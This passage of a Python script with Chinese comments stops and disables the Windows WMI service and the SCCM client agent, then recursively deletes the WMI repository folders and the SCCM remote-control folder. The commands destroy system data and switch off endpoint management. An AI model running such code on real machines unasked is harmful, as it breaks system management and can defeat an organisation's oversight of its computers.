        subprocess.run(['sc', 'stop', service_name], check=True, text=True)
        print(f'服务已停止：{service_name}')

        # 禁用服务
        subprocess.run(['sc', 'config', service_name, 'start=', 'disabled'], check=True, text=True)
        print(f'服务已禁用：{service_name}')
    except subprocess.CalledProcessError as e:
        print(f'操作服务 {service_name} 时发生错误：{e}')

def clear_folder_contents(folder_path):
    '''清理文件夹下的所有内容'''
    if os.path.exists(folder_path):
        try:
            # 删除文件夹下的所有文件和子目录
            for item in os.listdir(folder_path):
                item_path = os.path.join(folder_path, item)
                if os.path.isdir(item_path):
                    shutil.rmtree(item_path)
                else:
                    os.remove(item_path)
            print(f'成功清理文件夹内容：{folder_path}')
        except Exception as e:
            print(f'清理文件夹 {folder_path} 时发生错误：{e}')
    else:
        print(f'路径不存在：{folder_path}')

if __name__ == '__main__':
    # 停止并禁用服务
    stop_and_disable_service('winmgmt')
    stop_and_disable_service('CcmExec')

    # 定义文件夹路径
    wbem_base_path = r'C:\\Windows\\System32\\wbem'
    auto_recover_path = os.path.join(wbem_base_path, 'AutoRecover')
    repository_path = os.path.join(wbem_base_path, 'Repository')
    remote_control_path = r'C:\\Windows\\CCM\\RemCtrl'

    # 清理 wbem/AutoRecover 和 wbem/Repository 文件夹
    clear_folder_contents(auto_recover_path)
    clear_folder_contents(repository_path)
    # 清理 CCM/RemCtrl 文件夹
    clear_folder_contents(remote_control_path)